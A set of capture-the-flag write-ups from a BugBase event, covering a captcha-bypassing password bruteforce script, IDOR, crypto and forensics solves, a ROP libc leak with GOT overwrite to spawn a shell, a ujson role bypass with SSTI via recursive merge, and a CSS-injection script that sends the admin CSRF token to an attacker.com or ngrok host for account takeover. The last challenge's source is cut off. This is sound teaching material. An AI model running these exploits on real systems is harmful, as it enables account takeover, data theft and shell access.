Opening the link will redirect us to BugBase's discord server. From the announcement channel, we can directly get the flag.
Opening the URL will take us to a login page where we have no clue about the username/password. Let's have a look at the source code:
From here, we get the username tuhin1729
. Now we need only the password.
According to the challenge description, the security engineer has zero knowledge about cyber security best practices. So it might be possible that he is using a weak password.
But the problem is we can't bruteforce the password since there is a captcha placed on the login page which will get expired in 10 seconds. There are two cookies cp
and t
. The first one is responsible for verifying whether the captcha answer is correct or not whereas the second cookie t
checks whether the captcha is expired or not.
However, point to be noted that the captcha is not an image, it's plain text which can easily be fetched from the source code (by writing a simple script). So let's write a Python script which will extract the captcha from the source code, solve it, and then submit it along with the correct cookies to bruteforce the password.
1import requests 2import re 3import sys 4 5passwords = open('10-million-password-list-top-1000.txt','r') 6 7for line in passwords: 8 session = requests.Session() 9 r = session.get('http://165.232.190.5:7777/') 10 11 # Regular expression to find arithmetic expression 12 expression_regex = r'(\d+\+\d+)=<' 13 14 # Use regex to find the expression 15 match = re.search(expression_regex, r.text) 16 17 if match: 18 # Get the matched expression 19 arithmetic_expression = match.group(1) 20 21 # Remove the '=' sign from the end of the expression 22 arithmetic_expression = arithmetic_expression.rstrip('=') 23 24 # Evaluate the expression & submit it along with username and password 25 r = session.post('http://165.232.190.5:7777/login', data={"username":"tuhin1729", "password":line.rstrip(), "cp_user":eval(arithmetic_expression)}) 26 if "BugBase{" in r.text: 27 print("Flag: ", r.text) 28 sys.exit() 29 else: 30 print(r.text) 31
After a couple of minutes, we got the flag:
We are given a JSON file that looks like an exported postman collection.
So, let's analyze it by importing into postman
So there are 4 API requests. Let's have a look at each one of them carefully:
So, there are 3 users. From this endpoint, we can also get the UUID of each user which can be helpful later.
Nothing interesting here.
P.S: The username & password were already provided.
So, JWT is used for authentication purposes. Maybe we can play around with JWT later.
The flag URL is a rick roll, maybe some other user is allowed to view the flag.
After testing IDORs & playing with the JWT a bit, we're not able to find anything interesting. However, during our testing, we found that there is an API version 1 also which the dev team forgot to remove.
As per the challenge description, the API v1 may contain some vulnerabilities. So the first thing which came to our mind is testing the JWT vulnerabilities again with v1 of the API.
However, it didn't bore any fruit. So, let's try IDOR. We'll fetch the UUID of the second user 0daygod
and use it in the fetch user details endpoint.
We are able to fetch other users' details. However, this flag URL also turned out to be a rickroll.
Let's try with the last user tuhin1729
,
Opening the pastebin URL will give us the flag BugBase{!d0r$_4r3_fun_$hhhhhhhh}
Challenge Title: Bigollo Encryption
Category: Cryptography
Difficulty: Easy
Description: Hey There! I am using a new encryption scheme
We are given a Netcat connection string, and on connecting, we can observe the following output:
We can print out the flag encrypted with whatever this shitty scheme is, also we can provide any input and get it encrypted. So we start sending some characters and check the output.
Hmmm... this makes no sense! But right off the bat , the name seems a bit suspicious and after googling we quickly find that Bigollo is the initial of the famous mathematician Leonardo Bigollo Pisano who came up with the Fibonacci series!
So we know that the fibonacci series is at play. The next thing we can notice is the large numbers we get for each character of our input. Maybe these are the numbers of fibonacci series! But as we can see in the above screenshot, the same letter corresponds to different number in the same word, but is always the same if encrypted individually! This could mean only one thing, the number is being manipulated using fibonacci series, maybe based on it's position in the sentence.
Let's start by analyzing what could the cipher be doing by analyzing the encrypted letters individually.
So A = 0x41
and enc(A)=10610209857786
maybe this is the fibonacci series(1,1,2,3,5....) number of 0x41, but it turns out that it is a bit off than fib(0x41)=10610209857723
but it's just a bit off, which suspiciously suggest XOR
encryption scheme. And indeed, as it turns out fib(0x41)^0x41 == enc(0x41)
!!! Also, further analysis reveals that the series is instantiated at the first character by it's corresponding ascii value and the each subsequent letter is XORed with the next character in the series. As can be observed when providing AA
as the input , the first value, as we know is 0x41 xored with the fibonacci number for 0x41, where as the next number is really close to the next number i.e 0x42 in the fibonacci series fib(0x42) = 17167680177565
, also fib(0x42) ^ 0x41 = 17167680177628
which is the same as the second number in the output of encrypting AA
Now the decryption process is quite easy, since we know the flag format BugBase{xxxxxxxx}
, we know that the series starts with fib(0x42)
and hence the solve script will be as shown below
encrypted_flag = "17167680177631 27777890035245 44945570212754 72723460248079 117669030460963 190392490709244 308061521170100 498454011879195 806515533049457 1304969544928718 2111485077978032 3416454622906720 5527939700884852 8944394323791364 14472334024676113 23416728348467612 37889062373143869 61305790721611572 99194853094755521 160500643816367041 259695496911122669 420196140727489789 679891637638612315 1100087778366102004 1779979416004714152 2880067194370816022 4660046610375530278 7540113804746346447 12200160415121876859 19740274219868223183 31940434634990099893 51680708854858323121 83621143489848423025 135301852344706746031 218922995834555169117 354224848179261915056 573147844013817084070 927372692193078999264 1500520536206896083326 2427893228399975082424 3928413764606871165713 6356306993006846248104 10284720757613717413944 16641027750620563662129 26925748508234281075976 43566776258854844738116"
enc = [ int(i) for i in encrypted_flag.split(" ")]
def getFibonacciSequence(n):
if(n==1):
return 0
elif(n==2):
return 1
prev,nxt=-1,1
n-=1
while n>=0:
prev,nxt = nxt,nxt+prev
n-=1
return nxt
init = ord('B')
flag = "B"
for i in enc[1:]:
init+=1
flag += chr(i ^ getFibonacciSequence(init))
print(flag)
BugBase{@r3ally_sh1tty_encrypt10n_sch3m3!!!}
Challenge Title: Baby Fox
Category: Forensics
Difficulty: Easy
Description: Don't fall for the cuteness of this fox, he is good at hiding!
So we are given an image of a cute fox. But he must be hiding something. Let's find out
Step 1: Initial Analysis Upon downloading the challenge file, we start by running binwalk
on the image file to check for any embedded data or hidden files.
As we can see, the fox image is indeed hiding a big fat zip file! Let's extract it...
Hmmm.. interesting, this looks like a firefox profile! As we know, a firefox profile folder consists of a treasure of useful information like Browsing history, Bookmarks, Login Data etc.
On exploring the browsing history of the user, we find a pastebin link:
The pastebin contains the following text
Primary: inuyasha
This is a major hint to it being the Primary password, which is used to protect the login passwords of users in firefox. Let's try to grab the login password of this user using a tool called firefox_decrypt
Yepp! That's it... Let's log in using these creds and see what's in there..
That's our flag!
BugBase{unr3li@bl3_cut3_d0gg0s}
Challenge Title: Task List
Category: pwn
Difficulty: Medium
Description: Leave all your task scheduling worries on us, we will remind you on time!
CHECKSEC
The protections on this binary imply that we cannot get our shellcode to execute, but we can use ROP and GOT table overwrite techniques.
So we receive a menu with the following options
This menu option is used to schedule a new task, as the option name suggests and it asks the user to input the date, time and description for the task.
This task is used to view all the task that have been created.
This menu option allows us to enter the index of a single task that we wish to view.
We also get a choice to edit the timestamp of the task and it's type.
Delete a Task
This allows us to delete a specified task based on it's index
Execute a Job
This option allows us to assign a job to a task. But there's a catch... being a "premium feature", we can only use this twice.
Now let us look at the decompilation of all the functions in ghidra..
This function schedules a task based on user choices of a) The kind of task b) Date and time of task c) A description of the task. It is then stored in one of the indices of the global tasklist
array. There is no vulnerability in this code so far...
Moving on to next function
This function is even simpler, it only serves the purpose of viewing all the tasks uptil the param_1 index which is passed as an argument to the function. No vulnerability yet.
Next, we have the view_single function
This function asks the user to view which in task to view and prints our its contents. Also no vulnerability in this function again. Moving on...
Next up, we have the edit_task
function, and an experienced eye cannot miss the array index out of bounds write from the tasklist
array, as seen in line no.17 where the user choice of which item in the tasklist to edit is handled improperly, no checks were provided for the local_30
variable to prevent it from being negative. Thus it is possible to edit a task at a negative index to the global tasklist array. Let's see in the memory what actually is found at this negative indices.
As we can see in gdb, the entire Global Offset Table is setup at an index negative to this tasklist arary!! Also, as we saw in the checksec section, we can overwrite the GOT table as FULL RELRO is disabled. So we can definitely modify one of the GOT table entries using the edit_task function, but there is a caveat! We are only allowed to modify the timestamp and the kind of task it is. Since the kind of tasks is always going to be a hardcoded string over which we don't have any control, this leaves us with the timestamp. Let's see at what positions our timestamp could occur.
So we fire up gdb, create a new task and examine the memory around tasklist
aray
Ok, so we can see that the timestamp variable of the task structure will always be the first 8 bytes of the task struct. Also as we can see in the figure, it can overwrite the [email protected]
function with system. This can be useful if we call the convertToUnixTimestamp
with the string "/bin/sh\x00". But first, we need to leak the system function libc address.
convertToUnixTimestamp
time_t convertToUnixTimestamp(int param_1,int param_2,int param_3,undefined8 param_4)
{
int iVar1;
tm local_58;
undefined local_1c [4];
undefined local_18 [4];
undefined4 local_14;
time_t local_10;
// THIS IS THE PART WHHERE WE THE POISONED GOT ENTRY OF __isoc99_scanf WILL BE USED TO CALL THE FUNCTION WITH THE USER INPUT OF TIMESTAMP AS FIRST ARGUMENT
iVar1 = __isoc99_sscanf(param_4,"%d:%d:%d",&local_14,local_18,local_1c);
if (iVar1 != 3) {
puts("Error: Invalid time format. Use hh:mm:ss format.");
/* WARNING: Subroutine does not return */
exit(1);
}
if (param_3 < 0x7b2) {
puts("Error: Invalid year. Unix timestamp starts from 1970.");
/* WARNING: Subroutine does not return */
exit(1);
}
if ((param_2 < 1) || (0xc < param_2)) {
puts("Error: Invalid month. Please use a value between 1 and 12.");
/* WARNING: Subroutine does not return */
exit(1);
}
if ((0 < param_1) && (param_1 < 0x20)) {
local_58._24_8_ = 0;
local_58._32_8_ = 0;
local_58.tm_gmtoff = 0;
local_58.tm_zone = (char *)0x0;
local_58._16_8_ = CONCAT44(param_3 + -0x76c,param_2 + -1);
local_58._8_8_ = CONCAT44(param_1,local_14);
local_10 = mktime(&local_58);
if (local_10 == -1) {
puts("Error: Invalid date or time.");
/* WARNING: Subroutine does not return */
exit(1);
}
return local_10;
}
puts("Error: Invalid day. Please use a value between 1 and 31.");
/* WARNING: Subroutine does not return */
exit(1);
}
Moving forward, let's see the decompilation of the function job_sched
in ghidra
This function is right off the bat vulnerable to buffer overflow, as the read function on line no. 18 takes in greater number of bytes than the local_58 buffer can store. Also remember, that we had the ability to do a ROP chain attack from BOF due to a missing stack canary. This can be used to get the base address of libc, using the following ROP Chain:
POP RDI, GOT ADDRESS OF mktime, PLT ADDRESS OF PUTS, ADDRESS OF JOB_SCHED
and we will have to repeat this one more time with another libc function that has already been called and resolved in the GOT table.
POP RDI, GOT ADDRESS OF mktime, PLT ADDRESS OF PUTS, ADDRESS OF JOB_SCHED
solve script so far :
rop = ROP(exe)
def conn():
if args.LOCAL:
r = process([exe.path])
if args.GDB:
gdb.attach(r,
'''
break *job_sched+181
c
''')
else:
r = remote("165.232.190.5", 1338)
return r
r = conn()
sla=lambda x,y: r.sendlineafter(x,y)
def main():
# create a task
sla(b"Enter your choice: ",b"1")
sla(b"Enter your choice: ",b"4") # selecting kind of task
sla(b"Enter day: ","10")
sla(b"Enter month: ","10")
sla(b"Enter year: ","2000")
sla(b"Enter time(format-hh:mm:ss): ","15:30:00")
sla(b"Enter a short description for the task: ",b"A"*48)
# create a job with overflowing the job buffer with pop_rdi + puts_got + puts_plt + sched_job , again pop_rdi+printf_got+puts_plt+main
sla(b"Enter your choice: ",b"6")
sla(b"Enter the task number: ",b"0")
pop_rdi = p64(rop.rdi.address)
payload1= b'A'*88+pop_rdi+p64(exe.got['puts'])+p64(exe.plt['puts'])+p64(exe.symbols['job_sched'])
sla(b"Enter the Job summary: ",payload1)
r.recvline()
r.recvline()
puts_leak = u64(r.recvline().strip(b'\n').ljust(8,b'\x00'))
print(f"Leaked puts address: {hex(puts_leak)}")
sla(b"Enter the task number: ",b"0")
payload2=b'A'*88+pop_rdi+p64(exe.got['mktime'])+p64(exe.plt['puts'])+p64(exe.symbols['main'])
sla(b"Enter the Job summary: ",payload2)
r.recvline()
r.recvline()
mktime_leak = u64(r.recvline().strip(b'\n').ljust(8,b'\x00'))
print(f"Leaked mktime address: {hex(mktime_leak)}")
Now, we can use the libc database to find out the version of libc being used in the task and find calculate the system address by adding its offset to the base.
The libc database has found two matching versions for the libc, we can use one of them to calculate the base address of the system
With this, we know the base address of libc is libc_base = puts_address - 0x970
and we can set this to the base of libc in our solver script and pwntools takes care of calculating the address of the system based on its symbol table. But I prefer to do it manually, which gives us system_address= libc_base + 0x04f420
Now we are ready to overwrite the sscanf
entry of the GOT table with the address of the system, and then schedule a task with the timestamp as the string /bin/sh
which will allow us to pop a shell.
For this, we will need to create a UNIX timestamp with the value of the system address, I wrote two utility scripts to ease the conversion between the human-readable and UNIX timestamps
human_to_unix.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
int is_leap_year(int year) {
return (year % 4 == 0 && year % 100 != 0) || (year % 400 == 0);
}
int days_in_month(int year, int month) {
static const int days_per_month[] = { 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 };
int days = days_per_month[month - 1];
if (month == 2 && is_leap_year(year))
days++;
return days;
}
int main() {
int year, month, day;
char time_str[9];
int hours, minutes, seconds;
// Input: Year, Month, Day
printf("Enter year, month, and day (YYYY-MM-DD hh:mm:ss): ");
scanf("%d-%d-%d %d:%d:%d", &year, &month, &day,&hours, &minutes, &seconds);
// Validate input values
if (year < 1970 || month < 1 || month > 12 || day < 1 || day > days_in_month(year, month) ||
hours < 0 || hours >= 24 || minutes < 0 || minutes >= 60 || seconds < 0 || seconds >= 60) {
printf("Invalid input values.\n");
return 1;
}
// Convert to Unix timestamp
struct tm time_info = {0};
time_info.tm_year = year - 1900;
time_info.tm_mon = month - 1;
time_info.tm_mday = day;
time_info.tm_hour = hours;
time_info.tm_min = minutes;
time_info.tm_sec = seconds;
time_t unix_timestamp = mktime(&time_info);
if (unix_timestamp == -1) {
printf("Invalid date/time representation.\n");
return 1;
}
printf("Unix timestamp: %lld\n", unix_timestamp);
return 0;
}
unix_to_human.c
#include <stdio.h>
#include <time.h>
int main() {
time_t unix_timestamp;
struct tm *date_info;
char buffer[80];
// Get the Unix timestamp from the user
printf("Enter a Unix timestamp: ");
scanf("%lld", &unix_timestamp);
// Convert the Unix timestamp to a struct tm
date_info = localtime(&unix_timestamp);
// Format the date as a human-readable string
strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", date_info);
// Print the human-readable date
printf("Human-readable date: %s\n", buffer);
return 0;
}
This will allow us to quickly convert between two formats, we can just print out the address of the system from our solve script as an integer and feed it to unix_to_human
program and then edit the timestamp of the job at index -6 (to overwrite sscanf) and set it to human readable timestamp outputted by the program.
solve script so far:
#!/usr/bin/env python3
# The big Idea is to create a job -> ROP to leak the libc addresses of 2 functions[24 bytes (pop rdi + got address of function + puts@plt)] -> determine the libc version, calculate the base and the address of system function -> call the main function again [extra 8 bytes in the overflow] -> edit task to overwrite the sscanf of
# difference b/w system unix ts and actual system unix ts = system+14436
from pwn import *
import datetime
def print_local_time(unix_timestamp):
local_time = datetime.datetime.fromtimestamp(unix_timestamp)
print("Local Time:", local_time)
exe = ELF("./chall")
context.binary = exe
rop = ROP(exe)
def conn():
if args.LOCAL:
r = process([exe.path])
if args.GDB:
gdb.attach(r,
'''
break *job_sched+181
c
''')
else:
r = remote("165.232.190.5", 1338)
return r
r = conn()
sla=lambda x,y: r.sendlineafter(x,y)
def main():
# create a task
sla(b"Enter your choice: ",b"1")
sla(b"Enter your choice: ",b"4") # selecting kind of task
sla(b"Enter day: ","10")
sla(b"Enter month: ","10")
sla(b"Enter year: ","2000")
sla(b"Enter time(format-hh:mm:ss): ","15:30:00")
sla(b"Enter a short description for the task: ",b"A"*48)
# create a job with overflowing the job buffer with pop_rdi + puts_got + puts_plt + sched_job , again pop_rdi+printf_got+puts_plt+main
sla(b"Enter your choice: ",b"6")
sla(b"Enter the task number: ",b"0")
pop_rdi = p64(rop.rdi.address)
payload1= b'A'*88+pop_rdi+p64(exe.got['puts'])+p64(exe.plt['puts'])+p64(exe.symbols['job_sched'])
sla(b"Enter the Job summary: ",payload1)
r.recvline()
r.recvline()
puts_leak = u64(r.recvline().strip(b'\n').ljust(8,b'\x00'))
print(f"Leaked puts address: {hex(puts_leak)}")
sla(b"Enter the task number: ",b"0")
payload2=b'A'*88+pop_rdi+p64(exe.got['mktime'])+p64(exe.plt['puts'])+p64(exe.symbols['main'])
sla(b"Enter the Job summary: ",payload2)
r.recvline()
r.recvline()
mktime_leak = u64(r.recvline().strip(b'\n').ljust(8,b'\x00'))
print(f"Leaked mktime address: {hex(mktime_leak)}")
system_addr=puts_leak-0x80970+0x04f420
print(f"System address is {system_addr}")
print(f"Convert to local time...{system_addr-3600}")
sla(b"Enter your choice: ",b"4")
sla(b"Enter the task number to edit: ",b"-6")
sla(b"Do you wish to edit the timestamp?[y/n]: ",b"y")
# good luck pwning :)
r.interactive()
if __name__ == "__main__":
main()
Keep in mind that the actual date and time you enter must be adjusted to the date and time of the server, here I have used 3600(You can leverage the view_all_tasks
or view_single_task
functions to print out the actual timestamps stored in the server and take the difference)
Running the solve script:
Challenge Title: Task Assignment
Category: Web
Difficulty: Medium
Description: Well I just can't seem to get bored of creating apps to automate my task scheduling for me and for others! Let's see if you can flag this one too :P
This challenge also contains the source code and the Dockerfile. I will be going through the vulnerable functions of app.py quickly since it's too big to be examined line by line
get_role()
@app.route('/get_role')
def get_role():
if not request.args.get('role') or request.args.get('role') == 'app_admin':
abort(400)
session['user'] = '{"role":"%s","username":"%s"}' % (request.args.get("role"), request.args.get("username"))
mischief = re.search(r'"role":"(.*?)"',session['user']).group(1)
if mischief == "app_admin":
abort(400)
user_data = ujson.loads(session['user'])
print("username: ",user_data['username'])
print("role: ",user_data['role'])
if user_data['username'] == 'admin' and user_data['role'] == 'app_admin':
_Jobs = Jobs()
save_jobs_to_cookie(_Jobs)
return redirect('/admin')
else:
return redirect('/user')
So the application has a special role called app_admin, and the logic prevents us from getting that role. But since the application later loads the role using the ujson library, which is notorious for truncating invalid Unicode character points from the parsed string.
We can use this behavior to obtain the app_admin role and start hacking the admin functionalities
To leverage this behavior, we will simply set the username as admin and the role as app_admin\ud800
Now we can login as admin
Here we can see that we have the ability to assign a new Job/Task to someone else. Also we can schedule an Agenda with a goal. The code for scheduling the agenda is a bit fishy, as it uses recursive merge to set the properties of the class Agenda. And as shown here it is extremely harmful to do so as we can access the properties __class__ and _init__ of the Agenda class and get access to the __globals__ variable which will in turn allow us to modify the template_string
global variable used to set up the formatting of the export functionality and perform Server Side Template Injection
@login_required
@app.route('/schedule_agenda', methods=['POST'])
def schedule_agenda():
user_data = ujson.loads(session['user'])
if user_data['role'] == 'app_admin' and user_data['username'] == 'admin' :
agenda = request.form['agenda']
goal = request.form['goal']
if(is_valid_json(goal)):
newagenda = Agenda()
merge(ujson.loads(goal),newagenda)
_Jobs=load_jobs_from_cookie()
_Jobs.agenda = newagenda
save_jobs_to_cookie(_Jobs)
flash("Agenda updated!","success")
else:
print("Invalid json")
flash("Please provide a valid JSON","danger")
return redirect('admin')
else:
flash("You don't have the necessary permissions to schedule an agenda.", "danger")
return redirect(url_for('root'))
The vulnerable merge
function:
def merge(src, dst):
print("in merge")
for k, v in src.items():
print("k: ",k,", v: ",v,", dst: ",dst)
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
This merge function recurses down the dictionary we provide as JSON and sets the corresponding attribute of each item in the dictionary defined by the dictionary it holds. For eg:
{
"attribute1": {
"another_object":
{
"attribute2":"value"
}
}
}
Sending this json will be effectively same as doing this in python
Agenda().attribute1.another_object.attribute2 = value
To modify the global template_string
variable, we will need to do this
Agenda().__class__.__init__.globals.template_string = "poc"
Thus if we send in a JSON as shown below, in the goal of the schedule agenda function, we should be able to modify the template_string
variable
{
"__class__": {
"__init__": {
"__globals__": {
"template_string": "poc"
}
}
}
}
Now when we export the Tasks, we should see the string poc
Yay, We can perform SSTI ! Let's try to grab the flag.txt file using this injection
And we get our flag!
Title: Damn.com
Category: web
Difficulty: Hard
Description: When a security researcher creates a blog website, it is meant to be damn secure! Can you gain the admin access and prove that you are superior than me
We are given the link to a blog website with Login and Register functionality. Also, the description says that we need to login as admin to get the flag.
Let's create and login with a new account:
We get redirected to /accounts
on successful login. Here we can see that we have a functionality of changing the password.
Here we get the ability to change our password. Let's try changing our password
As we can see, we have to enter a strong passsword. Notice how the register page didn't have this validation? This was an intended hint which I will be getting to later, for now let us explore what other functionalities are available to us.
The /myblogs endpoint gives us two options, we can either create a new blog on the site, or import a blog from some other url.
Let's set up burp collaborator and test the blog url for any interactions.
Upon submitting the url, we get a flash message which says the admin will visit the url
As we can see in the image we do in fact receive an interaction from the server! This will be really useful later.
Next Let us test the create blog functionality.
Man, is this site heavily moderated! We can't even create a blog in peace without the admin visiting it. Let's check whether this blog appears in "My Blogs" section.
And it did show up..
The blog section contains new functionality to test... let's add a comment to look for any kind of injection.
Even the comments are moderated! But...we have injection in comments section. Let's try to inject some javascript.
Well, looks like our script got injected, but we can't see any alert box popping up. What gives?
Turns out that the site is enforcing some strict CSP.
Content-Security-Policy: script-src 'self';font-src 'self';object-src 'none';media-src 'none';frame-src 'none';base-uri 'none';sandbox allow-forms;
This will block any kind of attempt at executing javascript that is not hosted on the website itself.
Up unitl now, my initial approach to getting admin access would have been. to fetch the admin csrf token from the blog page using javascript, then performing csrf attack by sending the admin to my page containing the csrf payload, but javascript is blocked. But as you can see, we can still inject html. But, can we inject CSS?
Hell yeah, We can!
We can use a cross-site leak using css injection to leak the admin csrf-token, by using conditional selectors in CSS of the form
input[name=csrf_token][value^=a] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
this will select the adjacent sibling ( ~
denotes we are selecting the sibling and *
denotes any element can be taken to be the sibling, if it were p
, then only adjacent paragraph elements would be styled, this needs to be done because the csrf_token input field is hidden and background image can not be set on it) to an input of the name "csrf_token" and if the token begins with 'a', and the background image of the sibling will be set to the image from the url https://attacker.com/exfil/csrF
. As we see in the html source code of the page, the adjacent sibling to csrf_token input is the button which share the same parent "form".
<h1>Create New Blog Post</h1>
<form method="post">
<div>
<label for="title">Title</label>
<input class="form-control" id="title" name="title" required="required" type="text" value="">
</div>
<div>
<label for="content">Content</label>
<textarea class="form-control" id="content" name="content" required="required">
</textarea>
</div>
<div>
<label for="status">Status</label>
<select class="form-control" id="status" name="status" required="required"><option value="public">Public</option><option value="private">Private</option></select>
</div>
<input type="hidden" name="csrf_token" value="CEKmGWyHDq">
<button type="submit" class="btn btn-primary mt-5">Create Post</button>
</form>
</div>
<!-- Add Bootstrap JS (jQuery required for Bootstrap) -->
<script src="[https://code.jquery.com/jquery-3.5.1.slim.min.js](view-source:https://code.jquery.com/jquery-3.5.1.slim.min.js)"></script>
<script src="[https://cdn.jsdelivr.net/npm/@popperjs/[email protected]/dist/umd/popper.min.js](view-source:https://cdn.jsdelivr.net/npm/@popperjs/[email protected]/dist/umd/popper.min.js)"></script>
<script src="[https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js](view-source:https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js)"></script>
</body>
</html>
This way we can exfiltrate the token character by character based on conditional matches.
input[name=csrf_token][value^=a] ~ * {
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf_token][value^=b] ~ * {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf_token][value^=9] ~ * {
background-image: url(https://attacker.com/exfil/9);
}
After we have exfiltrated the token, we can change the password of admin and login. Now you might guess why the password strength check was implemented on the change password endpoint, and not the registration endpoint. It is done so that some ctf player might not accidentally set a weak password for admin, and other players simply bruteforce their way in.
The exploit script to automate this process can be implemented as shown below:
# First we will send a malicious comment which will contain our entire payload
# admin will visit it
# we wait for a few seconds
# submit the import blog form with
from flask import Flask, request, render_template
from string import ascii_lowercase,ascii_uppercase,digits
import requests
from bs4 import BeautifulSoup
from time import sleep
import sys
import threading
session = requests.session()
ngrok_url = input("Enter your ngrok url: ")
def retrieve_form_csrf(url):
global session
try:
# Send a GET request to the URL
response = session.get(url)
# Check if the request was successful (status code 200)
if response.status_code == 200:
# Parse the HTML content of the response
soup = BeautifulSoup(response.text, 'html.parser')
# Find the form element with input name='csrf'
form = soup.find('form')
csrf_input = form.find('input', {'name': 'csrf_token'})
if csrf_input:
# Extract the value of the 'csrf' input
csrf_token = csrf_input['value']
return csrf_token
else:
print("CSRF input with name='csrf' not found in the form.")
return None
else:
print(f"Error: Unable to fetch the web page. Status code: {response.status_code}")
return None
except requests.exceptions.RequestException as e:
print(f"Error: {e}")
return None
def user_login():
global session
login_url="http://165.232.190.5:7000/login"
login_data ={}
login_data['username'] = "new_user"
login_data['password'] = "new_user123"
login_data['csrf_token'] = retrieve_form_csrf(login_url)
print("Login csrf token: ",login_data['csrf_token'])
login_response = session.post(login_url, data=login_data)
if login_response.url == "http://165.232.190.5:7000/account":
print("Login successful!")
else:
print("Login unsuccsesful")
sys.exit(1)
app = Flask(__name__)
admin_csrf_token=""
@app.route('/concatenate', methods=['GET'])
def concatenate_strings():
# Get the 'text' parameter from the query string
global admin_csrf_token
text = request.args.get('text')
print("Received character: ",text)
if text:
admin_csrf_token += text
return admin_csrf_token
# Concatenate the received strings
def generate_payload(found_csrf):
sspace = ascii_uppercase+ascii_lowercase+digits
payload="<style>"
for i in sspace:
payload+= f"input[name=csrf_token][value^={found_csrf+i}] ~ *{{background-image:url({ngrok_url}/concatenate?text={i});}}"
payload += "</style>"
return payload
@app.route("/csrf")
def serve_csrf_form():
csrf_token = request.args.get('csrf_token')
password = request.args.get('password')
print("Got csrf_token : {csrf_token}, password : {password}")
return render_template('csrf.html', csrf_token=csrf_token, password=password)
def send_payload(blog_id):
global admin_csrf_token,session
url = "http://165.232.190.5:7000/add_comment?blog_id="+str(blog_id)
csrf_token = retrieve_form_csrf("http://165.232.190.5:7000/blog?blog_id="+str(blog_id))
print(f"CSRF-Token of comments: {csrf_token}")
post_data={}
post_data['title']="Please read this admin"
post_data['description']= generate_payload(admin_csrf_token)
post_data['csrf_token']=csrf_token
session.post(url,post_data)
def csrf_admin(csrf_token,password):
url = "http://165.232.190.5:7000/myblogs"
post_data = {"blog_url":f"{ngrok_url}/csrf?csrf_token={csrf_token}&password={password}"}
session.post(url,post_data)
def run_app():
app.run(port=5001)
if __name__ == '__main__':
flask_thread = threading.Thread(target=run_app)
flask_thread.start()
user_login()
blog_id= int(input("Enter blog id: "))
while len(admin_csrf_token) != 10:
sleep(5)
send_payload(blog_id)
print(f"Payload so far: {admin_csrf_token}")
# got the token
# attempting to change the password
new_password = "S0meR@nd0m_s3cur3_p4ssw0rd!"
csrf_admin(admin_csrf_token,new_password)
flask_thread.join()
Exploit script in action:
The password of admin will get changed successfully to whatever we set in the script after the script has successfully completed.
And on logging in, we receive a cookie with the flag!!!
Title: Breaking Bad Cryptography
Category: crypto
Difficulty: Hard
Description: The DEA agent ASAC Schrader has found a suspicious device that works like a chat portal for the people involved in the suspected meth empire operating under the covers of the famous chicken shop chain los pollos-hermanos. Since you are the most talented and focused agent of the cyber crimes division, he has asked you to retrieve the encrypted chats between the prime suspect Heisenberg and his associates which also include the famous business figure Gus Fring.
A crypto challenge based off Breaking Bad. Let's get right into solving it.
Fortunately we are given some source code to work with in this challenge.
# Breaking Bad Cryptography
from fastecdsa import curve,keys, ecdsa
from fastecdsa.point import Point
from messages import chat_inbox_all,keyrings
from Crypto.Cipher import AES
import hashlib
from colorama import Fore, Style
import sys,os
from Crypto.Util.Padding import pad, unpad
def print_colored_text(color, text):
print(f"{color}{text}{Style.RESET_ALL}")
class Portal():
def __init__(self,):
self.G = curve.P256.G
self.certs = {
"[email protected]": {
"securityKey": Point(0xf296087923a188a179b5c03808b069aa462de0f2a4ef2da0415c46d0184d272,0xd2642f0b4a6222f84bf32f4fb2b8a989370680d7bccc4e9528f6cc0e3ac567f5),
"G" :[self.G.x,self.G.y]
},
"[email protected]":{
"securityKey":Point(0xfc2927852f1fb70bfdfc5e89539e9d7509be1c2cfbf2558073460268ef9b6d43,0x4eefdd44e14487628af84f33ebfeb1a14f9d1d9ece491daa49c1f3f0b5476994),
"G" :[self.G.x,self.G.y]
} ,
"[email protected]": {
"securityKey":Point(0x9c866b479c4638bed50e5268f4823676a76632e9f45c40456967cc93809c4a4,0x8190681032a6f0250be36736b086d0deac42c1b33021e7feafef4acd3adc350f),
"G" :[self.G.x,self.G.y]
} ,
"[email protected]":{
"securityKey":Point(0x5711176bc452a882952d058376c4cda7f93e7f2063b4e0e947e193ba3d150054,0xd2f843855a1e4c32bc036994ed3fed9f088a4f8534926f67250465bf944c97f9),
"G" :[self.G.x,self.G.y]
} ,
"[email protected]": {
"securityKey":Point(0x5f2b5e0badb9babaf00dc5b3aed0660709d60dbde4446a5591f263f8500cfbed,0xc488a089f3b04bd93e1b87d6f3a3ede4c7e8e85f11d52c363b7d790ee4fa6d31),
"G" :[self.G.x,self.G.y]
}
}
def encrypt_msg(self,msg,sender,user,curve: int):
print_colored_text(Fore.MAGENTA,"[*] Generating new shared secret(End-to-End Encryption)")
G = (keyrings[user]['Gx'],keyrings[user]['Gy'])
user_secret_key = keys.gen_private_key(curve)
user_public_key = keys.get_public_key(user_secret_key,curve)
print_colored_text(Fore.LIGHTRED_EX,f"[+] Public Key of {user}: {user_public_key}")
sender_secret_key = keys.gen_private_key(curve)
sender_public_key = keys.get_public_key(sender_secret_key,curve)
shared_secret = sender_secret_key*user_public_key
print_colored_text(Fore.LIGHTRED_EX,f"[+] Public Key of {sender}: {sender_public_key}")
shared_secret = shared_secret.x + shared_secret.y
sha1 = hashlib.sha1()
sha1.update(str(shared_secret).encode('ascii'))
key = sha1.digest()[:16]
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(msg.encode(), 16))
return iv.hex()+":"+ciphertext.hex()
def search_key(self,usermail,key):
for email,crt_dict in self.certs.items():
if key == crt_dict['securityKey']:
return email
else:
return False
def send_msg_to_receiver(self,email):
user = email.split("@")[0]
if user in keyrings.keys():
user_inbox= chat_inbox_all[user]
for sender, msgs in user_inbox.items():
print(f"\n({len(msgs)}) New Messages from {sender}")
print()
print("Transferring messages...")
print()
